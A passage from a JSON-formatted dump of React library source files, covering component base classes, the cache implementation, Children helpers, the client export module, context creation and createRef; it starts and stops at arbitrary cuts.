{\n    if (!isFlushing) {\n      // Prevent re-entrance.\n      isFlushing = true;\n      let i = 0;\n      try {\n        for (; i < queue.length; i++) {\n          let callback: RendererTask = queue[i];\n          do {\n            ReactSharedInternals.didUsePromise = false;\n            const continuation = callback(false);\n            if (continuation !== null) {\n              if (ReactSharedInternals.didUsePromise) {\n                // The component just suspended. Yield to the main thread in\n                // case the promise is already resolved. If so, it will ping in\n                // a microtask and we can resume without unwinding the stack.\n                queue[i] = callback;\n                queue.splice(0, i);\n                return;\n              }\n              callback = continuation;\n            } else {\n              break;\n            }\n          } while (true);\n        }\n        // We flushed the entire queue.\n        queue.length = 0;\n      } catch (error) {\n        // If something throws, leave the remaining callbacks on the queue.\n        queue.splice(0, i + 1);\n        ReactSharedInternals.thrownErrors.push(error);\n      } finally {\n        isFlushing = false;\n      }\n    }\n  }\n}\n\n// Some of our warnings attempt to detect if the `act` call is awaited by\n// checking in an asynchronous task. Wait a few microtasks before checking. The\n// only reason one isn't sufficient is we want to accommodate the case where an\n// `act` call is returned from an async function without first being awaited,\n// since that's a somewhat common pattern. If you do this too many times in a\n// nested sequence, you might get a warning, but you can always fix by awaiting\n// the call.\n//\n// A macrotask would also work (and is the fallback) but depending on the test\n// environment it may cause the warning to fire too late.\nconst queueSeveralMicrotasks =\n  typeof queueMicrotask === 'function'\n    ? (callback: () => void) => {\n        queueMicrotask(() => queueMicrotask(callback));\n      }\n    : queueMacrotask;\n"
  },
  {
    "path": "packages/react/src/ReactBaseClasses.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport ReactNoopUpdateQueue from './ReactNoopUpdateQueue';\nimport assign from 'shared/assign';\n\nconst emptyObject = {};\nif (__DEV__) {\n  Object.freeze(emptyObject);\n}\n\n/**\n * Base class helpers for the updating state of a component.\n */\nfunction Component(props, context, updater) {\n  this.props = props;\n  this.context = context;\n  // If a component has string refs, we will assign a different object later.\n  this.refs = emptyObject;\n  // We initialize the default updater but the real one gets injected by the\n  // renderer.\n  this.updater = updater || ReactNoopUpdateQueue;\n}\n\nComponent.prototype.isReactComponent = {};\n\n/**\n * Sets a subset of the state. Always use this to mutate\n * state. You should treat `this.state` as immutable.\n *\n * There is no guarantee that `this.state` will be immediately updated, so\n * accessing `this.state` after calling this method may return the old value.\n *\n * There is no guarantee that calls to `setState` will run synchronously,\n * as they may eventually be batched together.  You can provide an optional\n * callback that will be executed when the call to setState is actually\n * completed.\n *\n * When a function is provided to setState, it will be called at some point in\n * the future (not synchronously). It will be called with the up to date\n * component arguments (state, props, context). These values can be different\n * from this.* because your function may be called after receiveProps but before\n * shouldComponentUpdate, and this new state, props, and context will not yet be\n * assigned to this.\n *\n * @param {object|function} partialState Next partial state or function to\n *        produce next partial state to be merged with current state.\n * @param {?function} callback Called after state is updated.\n * @final\n * @protected\n */\nComponent.prototype.setState = function (partialState, callback) {\n  if (\n    typeof partialState !== 'object' &&\n    typeof partialState !== 'function' &&\n    partialState != null\n  ) {\n    throw new Error(\n      'takes an object of state variables to update or a ' +\n        'function which returns an object of state variables.',\n    );\n  }\n\n  this.updater.enqueueSetState(this, partialState, callback, 'setState');\n};\n\n/**\n * Forces an update. This should only be invoked when it is known with\n * certainty that we are **not** in a DOM transaction.\n *\n * You may want to call this when you know that some deeper aspect of the\n * component's state has changed but `setState` was not called.\n *\n * This will not invoke `shouldComponentUpdate`, but it will invoke\n * `componentWillUpdate` and `componentDidUpdate`.\n *\n * @param {?function} callback Called after update is complete.\n * @final\n * @protected\n */\nComponent.prototype.forceUpdate = function (callback) {\n  this.updater.enqueueForceUpdate(this, callback, 'forceUpdate');\n};\n\n/**\n * Deprecated APIs. These APIs used to exist on classic React classes but since\n * we would like to deprecate them, we're not going to move them over to this\n * modern base class. Instead, we define a getter that warns if it's accessed.\n */\nif (__DEV__) {\n  const deprecatedAPIs = {\n    isMounted: [\n      'isMounted',\n      'Instead, make sure to clean up subscriptions and pending requests in ' +\n        'componentWillUnmount to prevent memory leaks.',\n    ],\n    replaceState: [\n      'replaceState',\n      'Refactor your code to use setState instead (see ' +\n        'https://github.com/facebook/react/issues/3236).',\n    ],\n  };\n  const defineDeprecationWarning = function (methodName, info) {\n    Object.defineProperty(Component.prototype, methodName, {\n      get: function () {\n        console.warn(\n          '%s(...) is deprecated in plain JavaScript React classes. %s',\n          info[0],\n          info[1],\n        );\n        return undefined;\n      },\n    });\n  };\n  for (const fnName in deprecatedAPIs) {\n    if (deprecatedAPIs.hasOwnProperty(fnName)) {\n      defineDeprecationWarning(fnName, deprecatedAPIs[fnName]);\n    }\n  }\n}\n\nfunction ComponentDummy() {}\nComponentDummy.prototype = Component.prototype;\n\n/**\n * Convenience component with default shallow equality check for sCU.\n */\nfunction PureComponent(props, context, updater) {\n  this.props = props;\n  this.context = context;\n  // If a component has string refs, we will assign a different object later.\n  this.refs = emptyObject;\n  this.updater = updater || ReactNoopUpdateQueue;\n}\n\nconst pureComponentPrototype = (PureComponent.prototype = new ComponentDummy());\npureComponentPrototype.constructor = PureComponent;\n// Avoid an extra prototype jump for these methods.\nassign(pureComponentPrototype, Component.prototype);\npureComponentPrototype.isPureReactComponent = true;\n\nexport {Component, PureComponent};\n"
  },
  {
    "path": "packages/react/src/ReactCacheClient.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {disableClientCache} from 'shared/ReactFeatureFlags';\nimport {\n  cache as cacheImpl,\n  cacheSignal as cacheSignalImpl,\n} from './ReactCacheImpl';\n\nfunction noopCache<A: Iterable<mixed>, T>(fn: (...A) => T): (...A) => T {\n  // On the client (i.e. not a Server Components environment) `cache` has\n  // no caching behavior. We just return the function as-is.\n  //\n  // We intend to implement client caching in a future major release. In the\n  // meantime, it's only exposed as an API so that Shared Components can use\n  // per-request caching on the server without breaking on the client. But it\n  // does mean they need to be aware of the behavioral difference.\n  //\n  // The rest of the behavior is the same as the server implementation — it\n  // returns a new reference, extra properties like `displayName` are not\n  // preserved, the length of the new function is 0, etc. That way apps can't\n  // accidentally depend on those details.\n  return function () {\n    // $FlowFixMe[incompatible-call]: We don't want to use rest arguments since we transpile the code.\n    return fn.apply(null, arguments);\n  };\n}\n\nexport const cache: typeof noopCache = disableClientCache\n  ? noopCache\n  : cacheImpl;\n\nfunction noopCacheSignal(): null | AbortSignal {\n  return null;\n}\n\nexport const cacheSignal: () => null | AbortSignal = disableClientCache\n  ? noopCacheSignal\n  : cacheSignalImpl;\n"
  },
  {
    "path": "packages/react/src/ReactCacheImpl.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\n\nconst UNTERMINATED = 0;\nconst TERMINATED = 1;\nconst ERRORED = 2;\n\ntype UnterminatedCacheNode<T> = {\n  s: 0,\n  v: void,\n  o: null | WeakMap<Function | Object, CacheNode<T>>,\n  p: null | Map<string | number | null | void | symbol | boolean, CacheNode<T>>,\n};\n\ntype TerminatedCacheNode<T> = {\n  s: 1,\n  v: T,\n  o: null | WeakMap<Function | Object, CacheNode<T>>,\n  p: null | Map<string | number | null | void | symbol | boolean, CacheNode<T>>,\n};\n\ntype ErroredCacheNode<T> = {\n  s: 2,\n  v: mixed,\n  o: null | WeakMap<Function | Object, CacheNode<T>>,\n  p: null | Map<string | number | null | void | symbol | boolean, CacheNode<T>>,\n};\n\ntype CacheNode<T> =\n  | TerminatedCacheNode<T>\n  | UnterminatedCacheNode<T>\n  | ErroredCacheNode<T>;\n\nfunction createCacheRoot<T>(): WeakMap<Function | Object, CacheNode<T>> {\n  return new WeakMap();\n}\n\nfunction createCacheNode<T>(): CacheNode<T> {\n  return {\n    s: UNTERMINATED, // status, represents whether the cached computation returned a value or threw an error\n    v: undefined, // value, either the cached result or an error, depending on s\n    o: null, // object cache, a WeakMap where non-primitive arguments are stored\n    p: null, // primitive cache, a regular Map where primitive arguments are stored.\n  };\n}\n\nexport function cache<A: Iterable<mixed>, T>(fn: (...A) => T): (...A) => T {\n  return function () {\n    const dispatcher = ReactSharedInternals.A;\n    if (!dispatcher) {\n      // If there is no dispatcher, then we treat this as not being cached.\n      // $FlowFixMe[incompatible-call]: We don't want to use rest arguments since we transpile the code.\n      return fn.apply(null, arguments);\n    }\n    const fnMap: WeakMap<any, CacheNode<T>> = dispatcher.getCacheForType(\n      createCacheRoot,\n    );\n    const fnNode = fnMap.get(fn);\n    let cacheNode: CacheNode<T>;\n    if (fnNode === undefined) {\n      cacheNode = createCacheNode();\n      fnMap.set(fn, cacheNode);\n    } else {\n      cacheNode = fnNode;\n    }\n    for (let i = 0, l = arguments.length; i < l; i++) {\n      const arg = arguments[i];\n      if (\n        typeof arg === 'function' ||\n        (typeof arg === 'object' && arg !== null)\n      ) {\n        // Objects go into a WeakMap\n        let objectCache = cacheNode.o;\n        if (objectCache === null) {\n          cacheNode.o = objectCache = new WeakMap();\n        }\n        const objectNode = objectCache.get(arg);\n        if (objectNode === undefined) {\n          cacheNode = createCacheNode();\n          objectCache.set(arg, cacheNode);\n        } else {\n          cacheNode = objectNode;\n        }\n      } else {\n        // Primitives go into a regular Map\n        let primitiveCache = cacheNode.p;\n        if (primitiveCache === null) {\n          cacheNode.p = primitiveCache = new Map();\n        }\n        const primitiveNode = primitiveCache.get(arg);\n        if (primitiveNode === undefined) {\n          cacheNode = createCacheNode();\n          primitiveCache.set(arg, cacheNode);\n        } else {\n          cacheNode = primitiveNode;\n        }\n      }\n    }\n    if (cacheNode.s === TERMINATED) {\n      return cacheNode.v;\n    }\n    if (cacheNode.s === ERRORED) {\n      throw cacheNode.v;\n    }\n    try {\n      // $FlowFixMe[incompatible-call]: We don't want to use rest arguments since we transpile the code.\n      const result = fn.apply(null, arguments);\n      const terminatedNode: TerminatedCacheNode<T> = (cacheNode: any);\n      terminatedNode.s = TERMINATED;\n      terminatedNode.v = result;\n      return result;\n    } catch (error) {\n      // We store the first error that's thrown and rethrow it.\n      const erroredNode: ErroredCacheNode<T> = (cacheNode: any);\n      erroredNode.s = ERRORED;\n      erroredNode.v = error;\n      throw error;\n    }\n  };\n}\n\nexport function cacheSignal(): null | AbortSignal {\n  const dispatcher = ReactSharedInternals.A;\n  if (!dispatcher) {\n    // If there is no dispatcher, then we treat this as not having an AbortSignal\n    // since in the same context, a cached function will be allowed to be called\n    // but it won't be cached. So it's neither an infinite AbortSignal nor an\n    // already resolved one.\n    return null;\n  }\n  return dispatcher.cacheSignal();\n}\n"
  },
  {
    "path": "packages/react/src/ReactCacheServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {cache, cacheSignal} from './ReactCacheImpl';\n"
  },
  {
    "path": "packages/react/src/ReactChildren.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  ReactNodeList,\n  Thenable,\n  PendingThenable,\n  FulfilledThenable,\n  RejectedThenable,\n} from 'shared/ReactTypes';\n\nimport isArray from 'shared/isArray';\nimport noop from 'shared/noop';\nimport {\n  getIteratorFn,\n  REACT_ELEMENT_TYPE,\n  REACT_LAZY_TYPE,\n  REACT_PORTAL_TYPE,\n  REACT_OPTIMISTIC_KEY,\n} from 'shared/ReactSymbols';\nimport {enableOptimisticKey} from 'shared/ReactFeatureFlags';\nimport {checkKeyStringCoercion} from 'shared/CheckStringCoercion';\n\nimport {isValidElement, cloneAndReplaceKey} from './jsx/ReactJSXElement';\n\nconst SEPARATOR = '.';\nconst SUBSEPARATOR = ':';\n\n/**\n * Escape and wrap key so it is safe to use as a reactid\n *\n * @param {string} key to be escaped.\n * @return {string} the escaped key.\n */\nfunction escape(key: string): string {\n  const escapeRegex = /[=:]/g;\n  const escaperLookup = {\n    '=': '=0',\n    ':': '=2',\n  };\n  const escapedString = key.replace(escapeRegex, function (match) {\n    // $FlowFixMe[invalid-computed-prop]\n    return escaperLookup[match];\n  });\n\n  return '$' + escapedString;\n}\n\n/**\n * TODO: Test that a single child and an array with one item have the same key\n * pattern.\n */\n\nlet didWarnAboutMaps = false;\n\nconst userProvidedKeyEscapeRegex = /\\/+/g;\nfunction escapeUserProvidedKey(text: string): string {\n  return text.replace(userProvidedKeyEscapeRegex, '$&/');\n}\n\n/**\n * Generate a key string that identifies a element within a set.\n *\n * @param {*} element A element that could contain a manual key.\n * @param {number} index Index that is used if a manual key is not provided.\n * @return {string}\n */\nfunction getElementKey(element: any, index: number): string {\n  // Do some typechecking here since we call this blindly. We want to ensure\n  // that we don't block potential future ES APIs.\n  if (typeof element === 'object' && element !== null && element.key != null) {\n    if (enableOptimisticKey && element.key === REACT_OPTIMISTIC_KEY) {\n      // For React.Children purposes this is treated as just null.\n      if (__DEV__) {\n        console.error(\"React.Children helpers don't support optimisticKey.\");\n      }\n      return index.toString(36);\n    }\n    // Explicit key\n    if (__DEV__) {\n      checkKeyStringCoercion(element.key);\n    }\n    return escape('' + element.key);\n  }\n  // Implicit key determined by the index in the set\n  return index.toString(36);\n}\n\nfunction resolveThenable<T>(thenable: Thenable<T>): T {\n  switch (thenable.status) {\n    case 'fulfilled': {\n      const fulfilledValue: T = thenable.value;\n      return fulfilledValue;\n    }\n    case 'rejected': {\n      const rejectedError = thenable.reason;\n      throw rejectedError;\n    }\n    default: {\n      if (typeof thenable.status === 'string') {\n        // Only instrument the thenable if the status if not defined. If\n        // it's defined, but an unknown value, assume it's been instrumented by\n        // some custom userspace implementation. We treat it as \"pending\".\n        // Attach a dummy listener, to ensure that any lazy initialization can\n        // happen. Flight lazily parses JSON when the value is actually awaited.\n        thenable.then(noop, noop);\n      } else {\n        // This is an uncached thenable that we haven't seen before.\n\n        // TODO: Detect infinite ping loops caused by uncached promises.\n\n        const pendingThenable: PendingThenable<T> = (thenable: any);\n        pendingThenable.status = 'pending';\n        pendingThenable.then(\n          fulfilledValue => {\n            if (thenable.status === 'pending') {\n              const fulfilledThenable: FulfilledThenable<T> = (thenable: any);\n              fulfilledThenable.status = 'fulfilled';\n              fulfilledThenable.value = fulfilledValue;\n            }\n          },\n          (error: mixed) => {\n            if (thenable.status === 'pending') {\n              const rejectedThenable: RejectedThenable<T> = (thenable: any);\n              rejectedThenable.status = 'rejected';\n              rejectedThenable.reason = error;\n            }\n          },\n        );\n      }\n\n      // Check one more time in case the thenable resolved synchronously.\n      switch ((thenable: Thenable<T>).status) {\n        case 'fulfilled': {\n          const fulfilledThenable: FulfilledThenable<T> = (thenable: any);\n          return fulfilledThenable.value;\n        }\n        case 'rejected': {\n          const rejectedThenable: RejectedThenable<T> = (thenable: any);\n          const rejectedError = rejectedThenable.reason;\n          throw rejectedError;\n        }\n      }\n    }\n  }\n  throw thenable;\n}\n\nfunction mapIntoArray(\n  children: ?ReactNodeList,\n  array: Array<React$Node>,\n  escapedPrefix: string,\n  nameSoFar: string,\n  callback: (?React$Node) => ?ReactNodeList,\n): number {\n  const type = typeof children;\n\n  if (type === 'undefined' || type === 'boolean') {\n    // All of the above are perceived as null.\n    children = null;\n  }\n\n  let invokeCallback = false;\n\n  if (children === null) {\n    invokeCallback = true;\n  } else {\n    switch (type) {\n      case 'bigint':\n      case 'string':\n      case 'number':\n        invokeCallback = true;\n        break;\n      case 'object':\n        switch ((children: any).$$typeof) {\n          case REACT_ELEMENT_TYPE:\n          case REACT_PORTAL_TYPE:\n            invokeCallback = true;\n            break;\n          case REACT_LAZY_TYPE:\n            const payload = (children: any)._payload;\n            const init = (children: any)._init;\n            return mapIntoArray(\n              init(payload),\n              array,\n              escapedPrefix,\n              nameSoFar,\n              callback,\n            );\n        }\n    }\n  }\n\n  if (invokeCallback) {\n    const child = children;\n    let mappedChild = callback(child);\n    // If it's the only child, treat the name as if it was wrapped in an array\n    // so that it's consistent if the number of children grows:\n    const childKey =\n      nameSoFar === '' ? SEPARATOR + getElementKey(child, 0) : nameSoFar;\n    if (isArray(mappedChild)) {\n      let escapedChildKey = '';\n      if (childKey != null) {\n        escapedChildKey = escapeUserProvidedKey(childKey) + '/';\n      }\n      mapIntoArray(mappedChild, array, escapedChildKey, '', c => c);\n    } else if (mappedChild != null) {\n      if (isValidElement(mappedChild)) {\n        if (__DEV__) {\n          // The `if` statement here prevents auto-disabling of the safe\n          // coercion ESLint rule, so we must manually disable it below.\n          // $FlowFixMe[incompatible-type] Flow incorrectly thinks React.Portal doesn't have a key\n          if (mappedChild.key != null) {\n            if (!child || child.key !== mappedChild.key) {\n              checkKeyStringCoercion(mappedChild.key);\n            }\n          }\n        }\n        const newChild = cloneAndReplaceKey(\n          mappedChild,\n          // Keep both the (mapped) and old keys if they differ, just as\n          // traverseAllChildren used to do for objects as children\n          escapedPrefix +\n            // $FlowFixMe[incompatible-type] Flow incorrectly thinks React.Portal doesn't have a key\n            (mappedChild.key != null &&\n            (!child || child.key !== mappedChild.key)\n              ? escapeUserProvidedKey(\n                  // $FlowFixMe[unsafe-addition]\n                  '' + mappedChild.key, // eslint-disable-line react-internal/safe-string-coercion\n                ) + '/'\n              : '') +\n            childKey,\n        );\n        if (__DEV__) {\n          // If `child` was an element without a `key`, we need to validate if\n          // it should have had a `key`, before assigning one to `mappedChild`.\n          // $FlowFixMe[incompatible-type] Flow incorrectly thinks React.Portal doesn't have a key\n          if (\n            nameSoFar !== '' &&\n            child != null &&\n            isValidElement(child) &&\n            child.key == null\n          ) {\n            // We check truthiness of `child._store.validated` instead of being\n            // inequal to `1` to provide a bit of backward compatibility for any\n            // libraries (like `fbt`) which may be hacking this property.\n            if (child._store && !child._store.validated) {\n              // Mark this child as having failed validation, but let the actual\n              // renderer print the warning later.\n              newChild._store.validated = 2;\n            }\n          }\n        }\n        mappedChild = newChild;\n      }\n      array.push(mappedChild);\n    }\n    return 1;\n  }\n\n  let child;\n  let nextName;\n  let subtreeCount = 0; // Count of children found in the current subtree.\n  const nextNamePrefix =\n    nameSoFar === '' ? SEPARATOR : nameSoFar + SUBSEPARATOR;\n\n  if (isArray(children)) {\n    for (let i = 0; i < children.length; i++) {\n      child = children[i];\n      nextName = nextNamePrefix + getElementKey(child, i);\n      subtreeCount += mapIntoArray(\n        child,\n        array,\n        escapedPrefix,\n        nextName,\n        callback,\n      );\n    }\n  } else {\n    const iteratorFn = getIteratorFn(children);\n    if (typeof iteratorFn === 'function') {\n      const iterableChildren: Iterable<React$Node> & {\n        entries: any,\n      } = (children: any);\n\n      if (__DEV__) {\n        // Warn about using Maps as children\n        if (iteratorFn === iterableChildren.entries) {\n          if (!didWarnAboutMaps) {\n            console.warn(\n              'Using Maps as children is not supported. ' +\n                'Use an array of keyed ReactElements instead.',\n            );\n          }\n          didWarnAboutMaps = true;\n        }\n      }\n\n      const iterator = iteratorFn.call(iterableChildren);\n      let step;\n      let ii = 0;\n      // $FlowFixMe[incompatible-use] `iteratorFn` might return null according to typing.\n      while (!(step = iterator.next()).done) {\n        child = step.value;\n        nextName = nextNamePrefix + getElementKey(child, ii++);\n        subtreeCount += mapIntoArray(\n          child,\n          array,\n          escapedPrefix,\n          nextName,\n          callback,\n        );\n      }\n    } else if (type === 'object') {\n      if (typeof (children: any).then === 'function') {\n        return mapIntoArray(\n          resolveThenable((children: any)),\n          array,\n          escapedPrefix,\n          nameSoFar,\n          callback,\n        );\n      }\n\n      // eslint-disable-next-line react-internal/safe-string-coercion\n      const childrenString = String((children: any));\n\n      throw new Error(\n        `Objects are not valid as a React child (found: ${\n          childrenString === '[object Object]'\n            ? 'object with keys {' +\n              Object.keys((children: any)).join(', ') +\n              '}'\n            : childrenString\n        }). ` +\n          'If you meant to render a collection of children, use an array ' +\n          'instead.',\n      );\n    }\n  }\n\n  return subtreeCount;\n}\n\ntype MapFunc = (child: ?React$Node, index: number) => ?ReactNodeList;\n\n/**\n * Maps children that are typically specified as `props.children`.\n *\n * See https://reactjs.org/docs/react-api.html#reactchildrenmap\n *\n * The provided mapFunction(child, index) will be called for each\n * leaf child.\n *\n * @param {?*} children Children tree container.\n * @param {function(*, int)} func The map function.\n * @param {*} context Context for mapFunction.\n * @return {object} Object containing the ordered map of results.\n */\nfunction mapChildren(\n  children: ?ReactNodeList,\n  func: MapFunc,\n  context: mixed,\n): ?Array<React$Node> {\n  if (children == null) {\n    // $FlowFixMe limitation refining abstract types in Flow\n    return children;\n  }\n  const result: Array<React$Node> = [];\n  let count = 0;\n  mapIntoArray(children, result, '', '', function (child) {\n    return func.call(context, child, count++);\n  });\n  return result;\n}\n\n/**\n * Count the number of children that are typically specified as\n * `props.children`.\n *\n * See https://reactjs.org/docs/react-api.html#reactchildrencount\n *\n * @param {?*} children Children tree container.\n * @return {number} The number of children.\n */\nfunction countChildren(children: ?ReactNodeList): number {\n  let n = 0;\n  mapChildren(children, () => {\n    n++;\n    // Don't return anything\n  });\n  return n;\n}\n\ntype ForEachFunc = (child: ?React$Node) => void;\n\n/**\n * Iterates through children that are typically specified as `props.children`.\n *\n * See https://reactjs.org/docs/react-api.html#reactchildrenforeach\n *\n * The provided forEachFunc(child, index) will be called for each\n * leaf child.\n *\n * @param {?*} children Children tree container.\n * @param {function(*, int)} forEachFunc\n * @param {*} forEachContext Context for forEachContext.\n */\nfunction forEachChildren(\n  children: ?ReactNodeList,\n  forEachFunc: ForEachFunc,\n  forEachContext: mixed,\n): void {\n  mapChildren(\n    children,\n    // $FlowFixMe[missing-this-annot]\n    function () {\n      forEachFunc.apply(this, arguments);\n      // Don't return anything.\n    },\n    forEachContext,\n  );\n}\n\n/**\n * Flatten a children object (typically specified as `props.children`) and\n * return an array with appropriately re-keyed children.\n *\n * See https://reactjs.org/docs/react-api.html#reactchildrentoarray\n */\nfunction toArray(children: ?ReactNodeList): Array<React$Node> {\n  return mapChildren(children, child => child) || [];\n}\n\n/**\n * Returns the first child in a collection of children and verifies that there\n * is only one child in the collection.\n *\n * See https://reactjs.org/docs/react-api.html#reactchildrenonly\n *\n * The current implementation of this function assumes that a single child gets\n * passed without a wrapper, but the purpose of this helper function is to\n * abstract away the particular structure of children.\n *\n * @param {?object} children Child collection structure.\n * @return {ReactElement} The first and only `ReactElement` contained in the\n * structure.\n */\nfunction onlyChild<T>(children: T): T {\n  if (!isValidElement(children)) {\n    throw new Error(\n      'React.Children.only expected to receive a single React element child.',\n    );\n  }\n\n  return children;\n}\n\nexport {\n  forEachChildren as forEach,\n  mapChildren as map,\n  countChildren as count,\n  onlyChild as only,\n  toArray,\n};\n"
  },
  {
    "path": "packages/react/src/ReactClient.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport ReactVersion from 'shared/ReactVersion';\nimport {\n  REACT_FRAGMENT_TYPE,\n  REACT_PROFILER_TYPE,\n  REACT_STRICT_MODE_TYPE,\n  REACT_SUSPENSE_TYPE,\n  REACT_SUSPENSE_LIST_TYPE,\n  REACT_LEGACY_HIDDEN_TYPE,\n  REACT_ACTIVITY_TYPE,\n  REACT_SCOPE_TYPE,\n  REACT_TRACING_MARKER_TYPE,\n  REACT_VIEW_TRANSITION_TYPE,\n  REACT_OPTIMISTIC_KEY,\n} from 'shared/ReactSymbols';\n\nimport {Component, PureComponent} from './ReactBaseClasses';\nimport {createRef} from './ReactCreateRef';\nimport {forEach, map, count, toArray, only} from './ReactChildren';\nimport {\n  createElement,\n  cloneElement,\n  isValidElement,\n} from './jsx/ReactJSXElement';\nimport {createContext} from './ReactContext';\nimport {lazy} from './ReactLazy';\nimport {forwardRef} from './ReactForwardRef';\nimport {memo} from './ReactMemo';\nimport {cache, cacheSignal} from './ReactCacheClient';\nimport {\n  getCacheForType,\n  useCallback,\n  useContext,\n  useEffect,\n  useEffectEvent,\n  useImperativeHandle,\n  useDebugValue,\n  useInsertionEffect,\n  useLayoutEffect,\n  useMemo,\n  useSyncExternalStore,\n  useReducer,\n  useRef,\n  useState,\n  useTransition,\n  useDeferredValue,\n  useId,\n  useCacheRefresh,\n  use,\n  useOptimistic,\n  useActionState,\n} from './ReactHooks';\nimport ReactSharedInternals from './ReactSharedInternalsClient';\nimport {startTransition, startGestureTransition} from './ReactStartTransition';\nimport {addTransitionType} from './ReactTransitionType';\nimport {act} from './ReactAct';\nimport {captureOwnerStack} from './ReactOwnerStack';\nimport * as ReactCompilerRuntime from './ReactCompilerRuntime';\n\nconst Children = {\n  map,\n  forEach,\n  count,\n  toArray,\n  only,\n};\n\nexport {\n  Children,\n  createRef,\n  Component,\n  PureComponent,\n  createContext,\n  forwardRef,\n  lazy,\n  memo,\n  cache,\n  cacheSignal,\n  useCallback,\n  useContext,\n  useEffect,\n  useEffectEvent,\n  useImperativeHandle,\n  useDebugValue,\n  useInsertionEffect,\n  useLayoutEffect,\n  useMemo,\n  useOptimistic,\n  useActionState,\n  useSyncExternalStore,\n  useReducer,\n  useRef,\n  useState,\n  REACT_FRAGMENT_TYPE as Fragment,\n  REACT_PROFILER_TYPE as Profiler,\n  REACT_STRICT_MODE_TYPE as StrictMode,\n  REACT_SUSPENSE_TYPE as Suspense,\n  createElement,\n  cloneElement,\n  isValidElement,\n  ReactVersion as version,\n  ReactSharedInternals as __CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,\n  ReactCompilerRuntime as __COMPILER_RUNTIME,\n  // Concurrent Mode\n  useTransition,\n  startTransition,\n  useDeferredValue,\n  REACT_SUSPENSE_LIST_TYPE as unstable_SuspenseList,\n  REACT_LEGACY_HIDDEN_TYPE as unstable_LegacyHidden,\n  REACT_ACTIVITY_TYPE as Activity,\n  getCacheForType as unstable_getCacheForType,\n  useCacheRefresh as unstable_useCacheRefresh,\n  use,\n  // enableScopeAPI\n  REACT_SCOPE_TYPE as unstable_Scope,\n  // enableTransitionTracing\n  REACT_TRACING_MARKER_TYPE as unstable_TracingMarker,\n  // enableViewTransition\n  REACT_VIEW_TRANSITION_TYPE as ViewTransition,\n  addTransitionType as addTransitionType,\n  // enableGestureTransition\n  startGestureTransition as unstable_startGestureTransition,\n  // enableOptimisticKey\n  REACT_OPTIMISTIC_KEY as optimisticKey,\n  // DEV-only\n  useId,\n  act,\n  captureOwnerStack,\n};\n"
  },
  {
    "path": "packages/react/src/ReactCompilerRuntime.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {useMemoCache as c} from './ReactHooks';\n"
  },
  {
    "path": "packages/react/src/ReactContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {REACT_CONSUMER_TYPE, REACT_CONTEXT_TYPE} from 'shared/ReactSymbols';\n\nimport type {ReactContext} from 'shared/ReactTypes';\n\nexport function createContext<T>(defaultValue: T): ReactContext<T> {\n  // TODO: Second argument used to be an optional `calculateChangedBits`\n  // function. Warn to reserve for future use?\n\n  const context: ReactContext<T> = {\n    $$typeof: REACT_CONTEXT_TYPE,\n    // As a workaround to support multiple concurrent renderers, we categorize\n    // some renderers as primary and others as secondary. We only expect\n    // there to be two concurrent renderers at most: React Native (primary) and\n    // Fabric (secondary); React DOM (primary) and React ART (secondary).\n    // Secondary renderers store their context values on separate fields.\n    _currentValue: defaultValue,\n    _currentValue2: defaultValue,\n    // Used to track how many concurrent renderers this context currently\n    // supports within in a single renderer. Such as parallel server rendering.\n    _threadCount: 0,\n    // These are circular\n    Provider: (null: any),\n    Consumer: (null: any),\n  };\n\n  context.Provider = context;\n  context.Consumer = {\n    $$typeof: REACT_CONSUMER_TYPE,\n    _context: context,\n  };\n  if (__DEV__) {\n    context._currentRenderer = null;\n    context._currentRenderer2 = null;\n  }\n\n  return context;\n}\n"
  },
  {
    "path": "packages/react/src/ReactCreateRef.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n * @flow\n */\n\nimport type {RefObject} from 'shared/ReactTypes';\n\n// an immutable object with a single mutable value\nexport function createRef(): RefObject {\n  const refObject = {\n    current: null,\n  };\n  if (__DEV__) {\n    Object.seal(refObject);\n  }\n  return refObject;\n}\n"
  },
  {
    "path": "packages/react/src/ReactForwardRef.js",
